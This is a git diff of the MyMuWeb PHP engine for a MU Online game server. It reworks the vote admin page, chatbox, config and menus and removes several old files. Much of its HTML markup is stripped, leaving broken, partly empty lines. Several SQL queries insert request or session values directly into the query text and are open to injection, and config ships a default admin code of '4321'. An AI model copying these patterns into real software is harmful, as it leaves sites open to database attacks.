Go Back.'; + } else { + mssql_query("DELETE FROM dbo.MMW_votemain WHERE id='$idVote'"); + mssql_query("DELETE FROM dbo.MMW_voterow WHERE id_vote='$idVote'"); + echo $mmw['warning']['green'] . 'Vote SuccessFully Deleted!'; + writelog('a_vote', 'ID Vote: ' . $idVote . ' Has Been Deleted'); + } } ?> - - - - - - - - -
-
- +
+ Edit Vote -
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Question
Answer 1
Answer 2
Answer 3
Answer 4
Answer 5
Answer 6
Question +
Answer 1 +
Answer 2 +
Answer 3 +
Answer 4 +
Answer 5 +
Answer 6 +
+ + + +
-
- + + Add Vote -
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Question
Answer 1
Answer 2
Answer 3
Answer 4
Answer 5
Answer 6
Question
Answer 1
Answer 2
Answer 3
Answer 4
Answer 5
Answer 6
+ + + +
-
- -
-
-
- Server List + + +
+
+ Server List - - - - - - - - - - -"; - $table_delete = ""; - - $all_answers = 0; - for($c=2; $c < 8; ++$c) { - if($row[$c]!=' ' && isset($row[$c])) {$all_answers = $all_answers +1;} - } - - $all_votes_res = mssql_query("SELECT ID_vote FROM MMW_voterow WHERE ID_vote='$row[0]'"); - $all_votes = mssql_num_rows($all_votes_res); -?> - - - - - - - - - - -
#QuestionAnswersVotesDateEditDelete
.
+ + + + + + + + + + + + + + + + + + + + + + + +
#QuestionAnswersVotesDateEditDelete
. +
+ + +
+
+
+ + +
+
-
-
+ diff --git a/chatbox.php b/chatbox.php index 26f73a6..1618c94 100644 --- a/chatbox.php +++ b/chatbox.php @@ -1,88 +1,130 @@ - - + + - ChatBox - <?echo $mmw[webtitle];?> - - + ChatBox - <?php echo $mmw['webtitle']; ?> + - - - - - + + + + - - + - - + $option = ''; + if ($mmw['status_rules'][$_SESSION['mmw_status']]['chat_delete'] == 1) { + $option .= << +
-
- ";} +
+
+ $option[$time] $row[f_char]: $message
"; - } -} -?> - -
-
-'$timeout' AND online_char!=''"); -$num = mssql_num_rows($result); -echo '' . mmw_lang_who_is_on_web . '
'; -if($num < 1) {echo mmw_lang_there_is_nobody;} -else { - for($i=0; $i<$num; $i++) { - $acc_online = mssql_fetch_row($result); - $character_result = mssql_query("Select name,CtlCode,clevel,reset From Character WHERE name='$acc_online[0]'"); - $character_row = mssql_fetch_row($character_result); + $character_result = mssql_query("SELECT Name, CtlCode FROM dbo.Character WHERE NAME='{$row['f_char']}'"); + $character_row = mssql_fetch_row($character_result); - $title = ""; - echo "$character_row[0] [$character_row[3]/$character_row[2]]
"; - } -} -?> -
-
+
+ '{$timeout}'"); + $num = mssql_num_rows($result); + echo '' . mmw_lang_who_is_on_web . ''; + if ($num < 1) { + echo '
' . mmw_lang_there_is_nobody . '
'; + } else { + while ($row = mssql_fetch_row($result)) { + echo << + + {$row[0]} [{$row[3]}/{$row[2]}] + +
+HTML; + } + } + ?> + +
\ No newline at end of file diff --git a/config.php b/config.php index ac500b5..67b6393 100644 --- a/config.php +++ b/config.php @@ -1,150 +1,208 @@ - '0', +); +$mmw['enable_credits'] = false; // Register and add new account to MEMB_CREDITS Table +$mmw['info_gm_and_blocked'] = true; // Show info about GM and Blocked Char // Switch Character Options -$mmw[reset] = 'yes'; // yes(All Can Reset) no(Options Off). -$mmw[add_point] = 'yes'; // yes(All Can Add Point) no(Options Off). -$mmw[pk_clear] = 'yes'; // yes(All Can PK Clear) no(Options Off). -$mmw[move] = 'yes'; // yes(All Can Move) no(Options Off). -$mmw[change_class] = 'yes'; // yes(All Can Change Class) no(Options Off). - +$mmw['reset'] = true; // TRUE(All Can Reset) FALSE(Options Off). +$mmw['add_points'] = true; // TRUE(All Can Add Point) FALSE(Options Off). +$mmw['clear_pk'] = true; // TRUE(All Can Clear PK) FALSE(Options Off). +$mmw['move'] = true; // TRUE(All Can Move) FALSE(Options Off). +$mmw['move_list'] = array( + //array('NUMBER_LOCATION','X','Y'), + array('0', '125', '125'), + array('1', '232', '126'), + array('2', '211', '40'), + array('3', '175', '112'), + array('4', '209', '71'), + array('6', '64', '116'), + array('7', '24', '19'), + array('8', '187', '58'), + array('10', '15', '13') +); +$mmw['change_class'] = true; // TRUE(All Can Change Class) FALSE(Options Off). +$mmw['change_class_list'] = array( + //array('NUMBER_CLASS','PRICE'), + array(0, 1000000000), + array(1, 10000000000), + array(2, 100000000000), + array(16, 1000000000), + array(17, 10000000000), + array(18, 100000000000), + array(32, 1000000000), + array(33, 10000000000), + array(34, 100000000000), + array(48, 3000000000), + array(49, 300000000000), + array(64, 3000000000), + array(65, 300000000000), + array(80, 1000000000), + array(81, 10000000000), + array(82, 10000000000), + array(96, 3000000000), + array(98, 300000000000), +); // News -$mmw[max_post_news] = '5'; // Max News in 1 Page -$mmw[long_news_txt] = '220'; // Long News Text, if 0 this options off -$mmw[news_row_1] = '
English:
'; // News Row 1 -$mmw[news_row_2] = '
Russian:
'; // News Row 2 -$mmw[news_row_3] = '
Latvian:
'; // News Row 3 - +$mmw['max_post_news'] = 3; // Max News in 1 Page +$mmw['long_news_txt'] = 0; // Long News Text, if 0 this options off +$mmw['news_row_1'] = '
English:
'; // News Row 1 +$mmw['news_row_2'] = '
Russian:
'; // News Row 2 +$mmw['news_row_3'] = '
Latvian:
'; // News Row 3 // Chat -$mmw[chat_autoreload] = '10'; // AutoReload ChatBox sec -$mmw[chat_max_post] = '40'; // Max Post on ChatBox -$mmw[chat_timeout] = '10'; // TimeOut Send Message sec - +$mmw['chat_auto_reload'] = 10; // AutoReload ChatBox sec +$mmw['chat_max_post'] = 50; // Max Post on ChatBox +$mmw['chat_timeout'] = 3; // TimeOut Send Message sec // Statistics -$mmw[statistics_char] = '0,1,2,16,17,18,32,33,34,48,50,64,66,80,81,82'; // List of Character -$mmw[statistics_maps] = '0,1,2,3,4,6,7,8,10,30,31,33,34,41,42,51,56,57'; // List of Locations (Maps) - +$mmw['gens'] = true; // Show Gens Sort in Rankings +$mmw['characters_class'] = 13; // Maximal is 13 classes +$mmw['statistics_char'] = '0,1,2,16,17,18,32,33,34,48,50,64,66,80,81,82,96,98'; // List of Character +$mmw['statistics_maps'] = '0,1,2,3,4,6,7,8,10,30,31,33,34,41,42,51,56,57'; // List of Locations (Maps) // Reset System -$mmw[reset_level_dw] = '400'; // Level For Reset DW,SM,GrM -$mmw[reset_level_dk] = '400'; // Level For Reset DK,BK,BM -$mmw[reset_level_elf] = '400'; // Level For Reset Elf,ME,HE -$mmw[reset_level_mg] = '400'; // Level For Reset MG,DM -$mmw[reset_level_dl] = '400'; // Level For Reset DL,LE -$mmw[reset_level_sum] = '400'; // Level For Reset Sum,Bsum,Dim -$mmw[reset_limit_level] = '999'; // Max Reset (Limit) -$mmw[reset_limit_price] = '0'; // Limited Price For Reset or 0 -$mmw[reset_money] = '10000000'; // Zen for Reset (Min 1kk) -$mmw[reset_system] = 'yes'; // yes(Zen*Reset) or no(Default) -$mmw[reset_points_dw] = '100'; // Reset Points DW,SM,GrM -$mmw[reset_points_dk] = '100'; // Reset Points DK,BK,BM -$mmw[reset_points_elf] = '100'; // Reset Points Elf,ME,HE -$mmw[reset_points_mg] = '100'; // Reset Points MG,DM -$mmw[reset_points_dl] = '100'; // Reset Points DL,LE -$mmw[reset_points_sum] = '100'; // Reset Points Sum,Bsum,Dim -$mmw[reset_mode] = 'keep'; // reset(Points = 25) or keep(Default) -$mmw[reset_command] = 'no'; // If reset mode = keep, can keep command on DL -$mmw[level_up_mode] = 'normal'; // extra(ResetPoints*Reset) or normal(Points+ResetPoints) -$mmw[check_inventory] = 'no'; // no(NO Check) or yes(Check) -$mmw[clean_inventory] = 'no'; // no(NO Clean) or yes(Clean) -$mmw[clean_skills] = 'no'; // no(NO Clean) or yes(Clean) -$mmw[mix_cs_memb_reset] = 'no'; // yes(Reset Zen - Mix CastleSiege Reset Zen) or no(Default) -$mmw[max_zen_cs_reset] = '100000000'; // Max Zen Need in CastleSiege Bank % For Reset Members Castle Siege (Min 1kk) -$mmw[num_for_mix_cs_reset] = '10'; // How many '/' Max Zen to create % (Can't 0) - +$mmw['reset_column'] = 'ResetCount'; // Column name in database +$mmw['reset_level']['dw'] = 400; // Level For Reset DW group +$mmw['reset_level']['dk'] = 400; // Level For Reset DK group +$mmw['reset_level']['fe'] = 400; // Level For Reset Elf group +$mmw['reset_level']['mg'] = 400; // Level For Reset MG group +$mmw['reset_level']['dl'] = 400; // Level For Reset DL group +$mmw['reset_level']['sm'] = 400; // Level For Reset Sum group +$mmw['reset_level']['rf'] = 400; // Level For Reset RF group +$mmw['reset_level']['gl'] = 400; // Level For Reset GL group +$mmw['reset_level']['rw'] = 400; // Level For Reset RW group +$mmw['reset_level']['sl'] = 400; // Level For Reset SL group +$mmw['reset_level']['gc'] = 400; // Level For Reset GC group +$mmw['reset_level']['lw'] = 400; // Level For Reset LW group +$mmw['reset_level']['lm'] = 400; // Level For Reset LM group +$mmw['reset_limit_level'] = 999; // Max Reset (Limit) +$mmw['reset_limit_price'] = 0; // Limited Price For Reset or 0 +$mmw['reset_money'] = 10000000; // Zen for Reset (Min 1kk) +$mmw['reset_money_system'] = true; // TRUE(Zen*Reset) or FALSE(Default) +$mmw['reset_points']['dw'] = 100; // Reset Points DW group +$mmw['reset_points']['dk'] = 100; // Reset Points DK group +$mmw['reset_points']['fe'] = 100; // Reset Points Elf group +$mmw['reset_points']['mg'] = 100; // Reset Points MG group +$mmw['reset_points']['dl'] = 100; // Reset Points DL group +$mmw['reset_points']['sm'] = 100; // Reset Points Sum group +$mmw['reset_points']['rf'] = 100; // Reset Points RF group +$mmw['reset_points']['gl'] = 100; // Reset Points GL group +$mmw['reset_points']['rw'] = 100; // Reset Points RW group +$mmw['reset_points']['sl'] = 100; // Reset Points SL group +$mmw['reset_points']['gc'] = 100; // Reset Points GC group +$mmw['reset_points']['lw'] = 100; // Reset Points LW group +$mmw['reset_points']['lm'] = 100; // Reset Points LM group +$mmw['reset_points_drop'] = true; // TRUE(Points = 25) or FALSE(Default) +$mmw['reset_command_drop'] = true; // TRUE(Command = 25) or FALSE(Default) +$mmw['reset_points_mode'] = true; // TRUE(ResetPoints*Reset) or FALSE(Default Points+ResetPoints) +$mmw['reset_check_inventory'] = false; // FALSE(NO Check) or TRUE(Check) +$mmw['reset_clean_inventory'] = false; // FALSE(NO Clean) or TRUE(Clean) +$mmw['reset_clean_skills'] = false; // FALSE(NO Clean) or TRUE(Clean) +$mmw['cs_memb_reset_discount'] = true; // TRUE(Reset Zen - CastleSiege Reset Zen Discount) or FALSE(Default) +$mmw['cs_memb_reset_must_have_zen'] = 100000000; // Max Zen Need in CastleSiege Bank % For Reset Members Castle Siege +$mmw['cs_memb_reset_max_percent'] = 10; // How many % For Max Zen in CastleSiege Bank (Can't 0) // Castle Siege and JoinServer -$mmw[server_timeout] = '60'; // kesh Server TimeOut (sec) -$mmw[castle_siege] = 'yes'; // yes(Is set in Web) no (no in Web) -$mmw[mu_castle_data] = 'includes/MuCastleData.dat'; // Default Server File MuCastleData.dat -$mmw[gs_cs_ip] = '127.0.0.1'; // Castle Siege IP -$mmw[gs_cs_port] = '55901'; // Castle Siege port -$mmw[joinserver_port] = '55970'; // Join Server port for GM Message +$mmw['server_timeout'] = 60; // cache Server TimeOut (sec) +$mmw['castle_siege']['switch'] = true; // TRUE(Is set in Web) FALSE(Turned off in Web) +$mmw['castle_siege']['data'] = 'includes/MuCastleData.dat'; // Default Server File MuCastleData.dat +$mmw['castle_siege']['ip'] = '127.0.0.1'; // Castle Siege IP +$mmw['castle_siege']['port'] = 55901; // Castle Siege port +$mmw['joinserver']['ip'] = '127.0.0.1'; // Join Server port for GM Message +$mmw['joinserver']['port'] = 55970; // Join Server port for GM Message // Admin Panel SecurityCode & MMW status (5 - GameMaster, 10 - Administrator) -$mmw[admin_securitycode] = '4321'; // Admin Panel Security Code (Max 10 simbyl) -$mmw[status_rules] = array( // array(name,admin_panel,gm_option,gm_block,gm_msg,hex_wh,comment_delete,forum_add,forum_delete,forum_status,image_delete,chat_delete), - 10 => array('name'=>'Administrator','admin_panel'=>1,'gm_option'=>1,'gm_block'=>1,'gm_msg'=>1,'hex_wh'=>1,'comment_delete'=>1,'forum_add'=>1,'forum_delete'=>1,'forum_status'=>1,'image_delete'=>1,'chat_delete'=>1), - 5 => array('name'=>'Game Master','gm_option'=>1,'gm_block'=>1,'gm_msg'=>1,'hex_wh'=>1,'comment_delete'=>1,'forum_add'=>1,'forum_delete'=>1,'forum_status'=>1,'image_delete'=>1,'chat_delete'=>1), - 0 => array('name'=>'Member') +$mmw['admin_security_code'] = '4321'; // Admin Panel Security Code (Max 10 simbyl) +$mmw['status_rules'] = array( + // array(name,admin_panel,gm_option,gm_block,gm_msg,hex_wh,comment_delete,forum_add,forum_delete,forum_status,image_delete,chat_delete), + 10 => array('name' => 'Administrator', 'admin_panel' => 1, 'gm_option' => 1, 'gm_block' => 1, 'gm_msg' => 1, 'hex_wh' => 1, 'comment_delete' => 1, 'forum_add' => 1, 'forum_delete' => 1, 'forum_status' => 1, 'image_delete' => 1, 'chat_delete' => 1), + 5 => array('name' => 'Game Master', 'gm_option' => 1, 'gm_block' => 1, 'gm_msg' => 1, 'hex_wh' => 1, 'comment_delete' => 1, 'forum_add' => 1, 'forum_delete' => 1, 'forum_status' => 1, 'image_delete' => 1, 'chat_delete' => 1), + 0 => array('name' => 'Member'), ); - - - - - - - -// Config of site made off. Thank You! -// Engine MyMuWeb. Don't Edit Please! -// All this engine by Vaflan! -$warning_red = '/!\'; $warning_green = '/!\'; -$mmw[version] = chr(hexdec('30')).'.'.chr(hexdec('38')); if($mmw[show_all_error] == 'no') {error_reporting(0);} -$sql_die_start = "
MMW Result:
";$sql_die_end = "
"; -if($mmw[sqlpass]=='Password' || $mmw[sqluser]=='Login' || $mmw[database]=='DataBase' || $mmw[sqlhost]=='IP Address') {die("$sql_die_start Please Check config.php! $sql_die_end");} -if(!extension_loaded('mssql')) {die("$sql_die_start Loading php_mssql.dll Falied!
Please Enable php_mssql.dll in your php.ini $sql_die_end");} -$mssql_connect = @mssql_connect($mmw[sqlhost],$mmw[sqluser],$mmw[sqlpass]) or die("$sql_die_start MSSQL server is offline OR I can't Access to it! $sql_die_end"); -@mssql_select_db($mmw[database], $mssql_connect) or die("$sql_die_start Database don't exists OR I can't Access to it! $sql_die_end"); -if(isset($_POST[set_theme])) {$_SESSION[theme] = preg_replace("/[^a-zA-Z0-9_-]/",'',$_POST[set_theme]);} -if(isset($_GET[theme])) {$_SESSION[theme] = preg_replace("/[^a-zA-Z0-9_-]/",'',$_GET[theme]);} -if(isset($_SESSION[theme])) {$mmw[theme] = $_SESSION[theme];} -@include("themes/$mmw[theme]/info.php"); -$alpha_num = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; -$mmw[rand_id] = substr(str_shuffle($alpha_num), 0, 8); -?> \ No newline at end of file +// The site config is over. Thank you! +// Engine MyMuWeb. Please don't edit! +// This whole engine is assembled by Vaflan! +error_reporting($mmw['show_all_error'] ? E_ALL : false); +require_once __DIR__ . '/includes/mmw_sql.php'; +@include_once __DIR__ . '/includes/installed.php'; +$mmw['rand_id'] = substr(str_shuffle('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'), 0, 8); +$mmw['version'] = chr(hexdec('30')) . '.' . chr(hexdec('39')); +$mmw['warning']['red'] = '/!\ '; +$mmw['warning']['green'] = '/!\ '; +$mmw['die']['start'] = '
SYSTEM RESPONSE
'; +$mmw['die']['end'] = '
'; +if ($mmw['sql']['pass'] === 'PASSWORD' || $mmw['sql']['user'] === 'USER') { + die($mmw['die']['start'] . 'Please Check config.php!' . $mmw['die']['end']); +} +if (!function_exists('mssql_connect')) { + die($mmw['die']['start'] . 'Loading php_mssql.dll Falied!
Please Enable php_mssql.dll in your php.ini' . $mmw['die']['end']); +} +$mssql_connect = mssql_connect($mmw['sql']['host'], $mmw['sql']['user'], $mmw['sql']['pass']) or die($mmw['die']['start'] . 'MSSQL server is offline OR I can`t Access to it!' . $mmw['die']['end']); +mssql_select_db($mmw['sql']['database'], $mssql_connect) or die($mmw['die']['start'] . 'Database don`t exists OR I can`t Access to it!' . $mmw['die']['end']); diff --git a/decode.php b/decode.php deleted file mode 100644 index 28823d9..0000000 --- a/decode.php +++ /dev/null @@ -1,51 +0,0 @@ - \ No newline at end of file diff --git a/error.php b/error.php index a85bcce..952a115 100644 --- a/error.php +++ b/error.php @@ -1,10 +1,10 @@ -Fucking Sheller';} -else {$error = $error;} -Die("
/!\ ErroR #$error !
by Vaflan
"); -?> \ No newline at end of file +$error = isset($_GET['go']) ? intval($_GET['go']) : 0; +if ($error < 1) { + $error = '999
Fucking Sheller!'; +} + +die('
/!\ ErroR #' . $error . '
MyMuWeb by Vaflan
'); diff --git a/gallery/wallpaper-1.dat b/gallery/wallpaper-1.dat deleted file mode 100644 index 44e83ec..0000000 --- a/gallery/wallpaper-1.dat +++ /dev/null @@ -1,11 +0,0 @@ - \ No newline at end of file diff --git a/gallery/wallpaper-1.jpg b/gallery/wallpaper-1.jpg deleted file mode 100644 index 489a578..0000000 Binary files a/gallery/wallpaper-1.jpg and /dev/null differ diff --git a/gallery/wallpaper-2.dat b/gallery/wallpaper-2.dat deleted file mode 100644 index b248ecb..0000000 --- a/gallery/wallpaper-2.dat +++ /dev/null @@ -1,11 +0,0 @@ - \ No newline at end of file diff --git a/gallery/wallpaper-2.jpg b/gallery/wallpaper-2.jpg deleted file mode 100644 index 62aadf8..0000000 Binary files a/gallery/wallpaper-2.jpg and /dev/null differ diff --git a/gallery/wallpaper-3.dat b/gallery/wallpaper-3.dat deleted file mode 100644 index b557fb9..0000000 --- a/gallery/wallpaper-3.dat +++ /dev/null @@ -1,11 +0,0 @@ - \ No newline at end of file diff --git a/gallery/wallpaper-3.jpg b/gallery/wallpaper-3.jpg deleted file mode 100644 index f1b1b29..0000000 Binary files a/gallery/wallpaper-3.jpg and /dev/null differ diff --git a/image_verify.php b/image_verify.php deleted file mode 100644 index 4f1113e..0000000 --- a/image_verify.php +++ /dev/null @@ -1,60 +0,0 @@ - \ No newline at end of file diff --git a/images/admin.css b/images/admin.css deleted file mode 100644 index b279b98..0000000 --- a/images/admin.css +++ /dev/null @@ -1,29 +0,0 @@ -/* Global */ -body {background: #DDDDDD; font-size: 12px; line-height: 15px; color: #000000; font-family: Arial, Helvetica, sans-serif;} -table,td {font-size: 12px; line-height: 15px; color: #000000; font-family: Arial, Helvetica, sans-serif;} - -a:link {font-size: 13px; color: #000000; text-decoration: none;} -a:visited {font-size: 13px; color: #000000; text-decoration: none;} -a:active {font-size: 13px; color: #000000; text-decoration: none;} -a:hover {font-size: 13px; color: #FF0000; text-decoration: none;} - -.online {font-size: 12px; color: #00ff00;} -.offline {font-size: 12px; color: #ff0000;} - -input,select {color: #000000; padding: 0px; vertical-align: center; font-size: 9px; font-weight: bold; font-family: Tahoma, Verdana, Arial;} -textarea {color: #000000; padding: 2px; vertical-align: center; font-size: 12px; font-family: Tahoma, Verdana, Arial;} -select.selections {font-family: "Arial"; font-size: 12px; line-height: 14px; color: #f2e5cd; text-decoration: none; background-color: #494949;} -form,img {display: inline; padding: 0; margin: 0; border: 0;} -fieldset {border: 1px solid #121212; background: #DDDDDD; padding: 2px;} -legend {color: #ff0000; background: #ffffff; font: 11px tahoma, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;} - -.sort-table td {border: 1px solid ThreeDShadow; background: Window; color: WindowText; padding: 2px 5px; font-size: 12px;} -.sort-table thead td {border: 1px solid; background: #FFAA55; padding: 2px 5px; border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;} - -.login_stats {border: 0px; padding: 0px;} -.sized {max-width:600px; width:expression(this.scrollWidth > 600? "600px" : "auto" ); overflow:auto; overflow-y:hidden;} -.copyright {font-size: 10px; color: #101010;} - -.news-table {border: 1px solid #898989; margin: 2px;} -.news-body {border-top: 1px solid #BBBBBB;} -/* --------------- */ \ No newline at end of file diff --git a/images/captcha.php b/images/captcha.php new file mode 100644 index 0000000..29d66a6 --- /dev/null +++ b/images/captcha.php @@ -0,0 +1,59 @@ + array('250', '250', '250', '127'), + '1' => array('0', '0', '0', '0'), + '2' => array('128', '128', '128', '0'), + '3' => array('255', '255', '255', '0'), + '4' => array('255', '0', '0', '0'), + '5' => array('255', '128', '0', '0'), + '6' => array('255', '255', '0', '0'), + '7' => array('128', '255', '0', '0'), + '8' => array('0', '255', '0', '0'), + '9' => array('0', '255', '128', '0'), + 'a' => array('0', '255', '255', '0'), + 'b' => array('0', '128', '255', '0'), + 'c' => array('0', '0', '255', '0'), + 'd' => array('128', '0', '255', '0'), + 'e' => array('255', '0', '255', '0'), + 'f' => array('255', '0', '128', '0'), +); + +for ($y = 0; $y < ROW_COUNT; $y++) { + for ($x = 0; $x < ROW_COUNT; $x++) { + $offset = ($y * ROW_COUNT) + $x; + + $c = $colorData[substr($hex, $offset, 1)]; + + $row[$x] = $x * $pixelSize; + $row[$y] = $y * $pixelSize; + $row2[$x] = $row[$x] + $pixelSize; + $row2[$y] = $row[$y] + $pixelSize; + $color[$y][$x] = ImageColorAllocateAlpha($img, $c[0], $c[1], $c[2], $c[3]); + ImageFilleDrectangle($img, $row[$x], $row[$y], $row2[$x], $row2[$y], $color[$y][$x]); + } +} + +imagepng($img); +imagedestroy($img); diff --git a/images/mmw-top-banner.png b/images/mmw-top-banner.png new file mode 100644 index 0000000..53eaa25 Binary files /dev/null and b/images/mmw-top-banner.png differ diff --git a/images/pop-close.PNG b/images/pop-close.PNG deleted file mode 100644 index fdbde07..0000000 Binary files a/images/pop-close.PNG and /dev/null differ diff --git a/images/pop-logo.PNG b/images/pop-logo.PNG deleted file mode 100644 index 69ef26d..0000000 Binary files a/images/pop-logo.PNG and /dev/null differ diff --git a/images/pop-up.png b/images/pop-up.png deleted file mode 100644 index fd97bcd..0000000 Binary files a/images/pop-up.png and /dev/null differ diff --git a/images/smile/bb.gif b/images/smile/bb.gif new file mode 100644 index 0000000..42aa02e Binary files /dev/null and b/images/smile/bb.gif differ diff --git a/includes/MuCastleData.dat b/includes/MuCastleData.dat index da6b6e5..b9b93f9 100644 --- a/includes/MuCastleData.dat +++ b/includes/MuCastleData.dat @@ -10,10 +10,9 @@ end //========================================================================= -// Setting of castle periods.. +// Setting of castle periods // Period ID Day Hour Minute //========================================================================= -// ID Perodo Dia Horas Minutos 1 1 0 0 0 // register period 2 1 23 59 // idle state @@ -26,11 +25,9 @@ end 9 7 0 0 // end of cycle (restart from state 1, automaticaly) end -//========================================================================= -// Settings of NPC located in loren -//========================================================================= //================================================================================================================================= +// Settings of NPC located in loren // NPC ID Store in DB(0/1)?? Def Recover HP Start HP SX SY DX DY DIR //================================================================================================================================= 2 diff --git a/includes/acc_menu.php b/includes/acc_menu.php index 976977d..3c9291e 100644 --- a/includes/acc_menu.php +++ b/includes/acc_menu.php @@ -1,28 +1,68 @@ - mmw_lang_hello, + 'character_panel' => mmw_lang_character_panel, + 'mail' => mmw_lang_mail, + 'account_panel' => mmw_lang_account_panel, + 'ware_house' => mmw_lang_ware_house, + 'gm_options' => mmw_lang_gm_options, + 'logout' => mmw_lang_logout, +); -if(isset($_SESSION['char_set'])) { - echo "$setchar
"; - echo "".mmw_lang_character_panel."
"; +echo <<{$accountInfo['name']}!
+ {$rowbr} + Avatar
+ {$rowbr} +HTML; - echo "".mmw_lang_mail." [$msg_new_num/$msg_num] $msg_full
"; -} +// Character Options +if (!empty($_SESSION['character'])) { + echo << + {$language['character_panel']}
+HTML; -echo "".mmw_lang_account_panel."
"; + if ($mmw['inner_mail']) { + echo <<{$language['mail']} [{$msg_new_num}/{$msg_num}] {$msg_full}
+HTML; + } +} -echo "".mmw_lang_ware_house."
"; -if($mmw[status_rules][$_SESSION[mmw_status]][gm_option] == 1) { +// Account Options +echo <<{$language['account_panel']}
+ {$language['ware_house']}
+HTML; - echo "".mmw_lang_gm_options."
"; +// GameMaster Options +if ($mmw['status_rules'][$_SESSION['mmw_status']]['gm_option'] == 1) { + echo <<{$language['gm_options']}
+HTML; } -echo $rowbr; -?> \ No newline at end of file + +echo << + + + +HTML; diff --git a/includes/banned.php b/includes/banned.php deleted file mode 100644 index 0168f0f..0000000 --- a/includes/banned.php +++ /dev/null @@ -1,19 +0,0 @@ - 0) { - $banip_base = file($banip_file); - $banip_num = count($banip_base); - for($i=0; $i<$banip_num; $i++) { - $banip_row = explode("|",$banip_base[$i]); - $banip_ip = str_replace(' ','',$banip_row[0]); - if($_SERVER['REMOTE_ADDR'] == $banip_ip) { - if(!empty($banip_row[1])) {$reason = "
Reason: $banip_row[1]";} - die("$sql_die_start Your IP is Blocked!$reason $sql_die_end"); - exit(); - } - } -} -?> \ No newline at end of file diff --git a/includes/change_class.php b/includes/change_class.php deleted file mode 100644 index 47f9eea..0000000 --- a/includes/change_class.php +++ /dev/null @@ -1,29 +0,0 @@ - \ No newline at end of file diff --git a/includes/character.class.php b/includes/character.class.php index ad20c6a..147a7ad 100644 --- a/includes/character.class.php +++ b/includes/character.class.php @@ -1,937 +1,254 @@ -'account','label'=>$die_start. mmw_lang_invalid_account .$die_end, 'type'=>'text', 'uname'=>'true', 'required'=>true, 'len_min'=>4, 'len_max'=>10, 'cont'=>'alpha'); - $elems[] = array('name'=>'email', 'label'=>$die_start. mmw_lang_invalid_email .$die_end, 'type'=>'text', 'required'=>true, 'len_max'=>50, 'cont'=>'email'); - $elems[] = array('name'=>'password', 'label'=>$die_start. mmw_lang_invalid_password .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4,'len_max'=>10, 'cont'=>'alpha'); - $elems[] = array('name'=>'repassword', 'label'=>$die_start. mmw_lang_invalid_repassword .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4, 'len_max'=>10, 'cont'=>'alpha', 'equal'=> array('password')); - $elems[] = array('name'=>'question', 'label'=>$die_start. mmw_lang_invalid_question .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4, 'len_max'=>10, 'cont'=>'alpha'); - $elems[] = array('name'=>'answer', 'label'=>$die_start. mmw_lang_invalid_answer .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>4, 'len_max'=>10, 'cont'=>'alpha'); - $elems[] = array('name'=>'fullname','label'=>$die_start. mmw_lang_invalid_fullname .$die_end, 'type'=>'text', 'required'=>true, 'len_min'=>2, 'len_max'=>10, 'cont'=>'alpha'); - - - $f = new FormValidator($elems); - $err = $f->validate($_POST); - if( $err === true ) { - $valid = $f->getValidElems(); - foreach ( $valid as $k => $v ) { - if( $valid[$k][0][1] == false ) { - if( empty($valid[$k][0][2]) ) { - echo $valid[$k][0][2]; - }else { - echo $valid[$k][0][2]; - } - } - } - } else { - if($_SESSION[image_random_value] != md5($verifyinput)) { - $error= 1; - echo $die_start . mmw_lang_correctly_code . $die_end; - } - if($username_verify > 0) { - $error= 1; - echo $die_start . mmw_lang_account_in_use . $die_end; - } - if($email_verify > 0) { - $error= 1; - echo $die_start . mmw_lang_email_in_use . $die_end; - } - if($country <= 0) { - $error= 1; - echo $die_start . mmw_lang_invalid_country . $die_end; - } - if($ip_verify >= $mmw[max_ip_acc] && $mmw[max_ip_acc] != 0) { - $error= 1; - $result_max_ip_acc = str_replace("{NUMBER}",$mmw[max_ip_acc],mmw_lang_max_acc_one_ip); - echo $die_start . $result_max_ip_acc . $die_end; - } - - if($error!=1) { - if($mmw['md5'] == yes) { - mssql_query("INSERT INTO MEMB_INFO (memb___id,memb__pwd,memb_name,sno__numb,mail_addr,appl_days,modi_days,out__days,true_days,mail_chek,bloc_code,ctl1_code,memb__pwd2,fpas_ques,fpas_answ,country,gender,hide_profile,ref_acc,ip) VALUES ('$account',[dbo].[fn_md5]('$password','$account'),'$fullname','1234','$email',GETDATE(),GETDATE(),'2008-12-20','2008-12-20','1','0','0','$password','$squestion','$sanswer','$country','$gender','0','$referral','$ip')"); - } - elseif($mmw['md5'] == no) { - mssql_query("INSERT INTO MEMB_INFO (memb___id,memb__pwd,memb_name,sno__numb,mail_addr,appl_days,modi_days,out__days,true_days,mail_chek,bloc_code,ctl1_code,memb__pwd2,fpas_ques,fpas_answ,country,gender,hide_profile,ref_acc,ip) VALUES ('$account','$password','$fullname','1234','$email',GETDATE(),GETDATE(),'2008-12-20','2008-12-20','1','0','0','$password','$squestion','$sanswer','$country','$gender','0','$referral','$ip')"); - mssql_query("INSERT INTO VI_CURR_INFO (ends_days,chek_code,used_time,memb___id,memb_name,memb_guid,sno__numb,Bill_Section,Bill_value,Bill_Hour,Surplus_Point,Surplus_Minute,Increase_Days) VALUES ('2005','1',1234,'$account','$account',1,'7','6','3','6','6','2003-11-23 10:36:00','0')"); - } - $warehouse_items = '0x'.free_hex($mmw[free_hex],120); - mssql_query("INSERT INTO warehouse (AccountID,Items,EndUseDate,DbVersion,extMoney) VALUES ('$account',$warehouse_items,GETDATE(),'2','$mmw[zen_for_acc]')"); - echo $okey_start . mmw_lang_account_created . $okey_end; - } - } - } - - - - - - -function reset($charactername) { - if((isset($_SESSION['pass'])) && (isset($_SESSION['user']))); { - require("config.php"); - $login = clean_var(stripslashes($_SESSION[user])); - $charactername = stripslashes($charactername); - - $online_check_result = mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$login'"); - $online_check = mssql_fetch_row($online_check_result); - $wh_result = mssql_query("SELECT AccountID,extMoney FROM warehouse WHERE accountid='$login'"); - $wh_row = mssql_fetch_row($wh_result); if($wh_row[1]=="" || $wh_row[1]==" ") 